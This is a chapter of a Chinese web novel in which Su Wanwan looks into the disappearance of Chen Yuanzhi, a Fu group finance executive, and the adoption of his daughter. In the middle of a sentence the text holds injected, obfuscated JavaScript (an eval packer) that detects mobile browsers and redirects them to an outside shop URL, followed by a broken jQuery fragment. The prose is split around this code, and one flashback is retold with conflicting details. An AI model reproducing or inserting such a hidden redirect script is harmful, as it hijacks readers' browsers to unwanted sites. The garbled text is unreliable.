雨停了之后,空气里剩下一股湿漉漉的土腥味,像刚翻过的地。
苏晚晚坐在老周嫂家二楼的窗边,把秋姨那个牛皮纸信封拆开。封口用透明胶带封了三道——横两道,竖一道,撕的时候纸张边缘带起一层薄薄的毛絮。里面只有一张纸,对折两次,纸质厚实,带着水印花纹,对着光能看到暗纹——一朵很小的云。
信纸上五行字,手写,蓝黑墨水。字迹瘦长,收笔干净利落,像用尺子比着写出来的。
“傅氏税务异常。八年前曾有一份内部报告,由时任财务部副总监陈远志主导,报告未完成。陈远志于报告开始后的第三个月失踪,至今下落不明。”
苏晚晚把纸举到光下看了一遍,翻过来——背面空白。她把纸放回信封里,靠在椅背上。
窗外的桂花树上落了一只灰麻雀,在枝头跳了两下,抖落几滴水珠。
陈远志。她在心里把这个名字默念了一遍。八年前,她还没嫁进傅家,甚至不认识傅衍之。那年傅氏扩张得最猛——一年内拿下三块地、两家商场、一条商业街的运营权。也是在同一年,傅衍之的父亲心脏病发去世,他临危受命接手公司。
有什么东西在她脑海里拼合起来——新婚第一年某个深夜,十一月,天气已经转凉了。她端了碗参茶去书房,推门时傅衍之正盯着电脑屏幕,眉头拧紧,手指悬在键盘上方没有落下。她走过去把茶放在桌角,他没有抬头,只说了一句“放那儿吧”。她转身时余光扫过屏幕——一份文件名很长的PDF,缩到最小化窗口之前,她只看到“内部审计”四个字。
那时候她以为他是在为季度报表发愁。
现在想来,那个皱眉的表情里,藏着陈远志的名字。
她垂下眼,把信纸折好放回信封里。信封搁在桌上时,边缘碰到茶杯底座,发出一声干燥的轻响。
她下楼的时候老周嫂正在院子里收晾了一天的被单。被单被风吹得鼓起来,像一面白色的帆。老周嫂侧过身,把被单叠好搭在手臂上,看了她一眼:“镇上有个能查东西的地方,街尾老邮电所后院改的打印店。老板姓杨,以前在县城派出所干过内勤。话少,不问事。”
苏晚晚点了点头,走出院门。
邮电所后院的门面不大,招牌被树荫遮住了一半,只露出“图文快印”四个字,笔画被晒得褪了色,边缘泛着白。苏晚晚推门进去,里面只有一台复印机、一台电脑和一张堆满票据的办公桌。一个五十来岁的男人坐在桌前,正在看手机上的视频,声音外放,是某个地方台的新闻重播。他看见有人进来,按了暂停,把手机扣在桌上。
“打印还是复印?”
“查一个人。”
杨老板抬起头看了她一眼。那双眼睛不大,眼皮有些耷拉,但目光很稳——不是看脸,是看手上的动作、走路时身体的倾斜角度、说话时下巴的高度。他扫了苏晚晚一遍,不急不缓,然后伸手从抽屉里摸出一包烟,抽出一根,在桌面上磕了两下,没有点。
“名字?”
“陈远志。八年前在傅氏财团做财务副总监。”
杨老板把烟叼在嘴唇间,开始敲键盘。老旧的机械键盘发出清脆的嗒嗒声,在安静的房间里格外清晰。屏幕的光映在他的镜片上,他眯着眼看了几秒,停下来,又看了几秒。
“有这个人。”他把电脑屏幕转过来一半。
苏晚晚绕过桌角看了一眼。屏幕上是一个户籍档案页面,照片上的男人三十来岁,瘦,戴着一副黑框眼镜,下巴有一颗明显的黑痣。他穿着白衬衫,没打领带,表情很淡,像是一张被时间磨平了所有棱角的证件照。
“他老婆三年前走的。”杨老板说,声音很平,“走之前把女儿送到了福利院。去年,小孩被人领走了。”
“谁领的?”
“记录上只留了一个联系电话,没有署名。”杨老板把屏幕转回去,敲了两下键盘,“号是锦城的,现在还能打通。”
苏晚晚从口袋里掏出手机,准备记,但杨老板摆了摆手。
“我不给你号码。你自己去查。”他把那根没点的烟从嘴唇间取下来,放回烟盒里,“我这个店小,经不起被人上门查。”
他顿了顿,目光从屏幕上移到苏晚晚脸上,停了一下,又收回去。那个停顿很短,像他本来有话没说,又咽回去了。
苏晚晚没有追问。她把钱放在桌上——一张二十块,压在票据夹子下面。她转身推门的时候,身后的键盘声停了。
杨老板的声音从背后传来,很平,像在说一件跟自己无关的事:“那姑娘被领走那年,税务局的人来过这里。”
苏晚晚握着门把手的手顿住了。她回头,杨老板已经重新点开了手机上的视频,屏幕的光映在他脸上,表情没有任何变化。他没有看她,像是刚才那句话没说过。
苏晚晚站了两秒钟,推门走了出去。
她站在街边,脑海里杨老板那句话还在回响——税务局的人来过。她想起秋姨说过“那个审计师的女儿被领走了”,税务局的介入让她心头一沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741881|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,有什么东西连起来了,但还差中间最重要的一环。她掏出手机翻到秋姨的号码,又退出来。陈远志失踪那年,也是傅衍之父亲去世的一年。这两件事之间的空隙,比她想象中窄。
她拨了秋姨的号码。
响了两声,接通了。
“秋姨,陈远志的女儿,是不是被你安排人领走的?”
电话那头安静了一瞬。然后秋姨的声音传过来,不紧不慢的,像在把一根线头理顺:“不是。但我的人查到了是谁领的。”
“谁?”
“一个自称是陈远志远房亲戚的人。用的是陈远志妻子的娘家地址登记。领养手续完全合法,民政局审核过,没有问题。”秋姨停顿了一下,“手续合法,但名字是假的。”
苏晚晚握着手机没有接话。风吹过来,她侧了侧身,把手机换到另一只耳朵上。“那你查到了吗,那人到底是谁?”
“我在查。”秋姨的声音里有一种很少见的、极淡的凝重,“查了两个月。线索断了两次。”
苏晚晚挂断电话后,没有立刻放回口袋。她握着手机站在街道中央,那只握着手机的手指尖泛白,虎口处被棱角硌出一道浅浅的红印。
她的脑海里闪过新婚第一年冬天那个深夜——书房的灯还亮着,傅衍之坐在那盏台灯下,对着屏幕紧锁眉头。她端着参茶推门进去,他用手挡开了茶杯,说“不要打扰我”。那时候她觉得他是累的。现在想来,那个皱眉的表情里,藏着陈远志的名字。
她把手机放进外套内袋,揣进去的时候,指腹碰到了一张纸条——是老周嫂早上给的那个开锁师傅的电话。她攥着那张纸条的边缘,隔着布料慢慢捏了一遍。
然后她转身往邮电所的方向走了两步。
手机震了一下。
她低头看了一眼屏幕——一条短信,来自一个她没有存过的号码。只有一行字:
“你找的人,别查太深。”
苏晚晚站在街道中央,阳光从云缝里漏下来,照在她的肩膀上。她低头看着那行字,没有动。过了几秒,她把短信截了图,然后删掉了那条消息。那个号码她记住了——尾号是锦城的,她不会忘。她把手机锁屏,放回口袋里。
她抬起头,往另一个方向走去。她也不知道自己想去哪,只是觉得走着会快一些。脚步踩在湿漉漉的水泥地上,发出细碎的声响。街对面那棵老槐树的树影落在她脚下,被风吹动,像一张泡过水的旧照片——边缘已经模糊了,但中间那个人影还在,还在往下沉。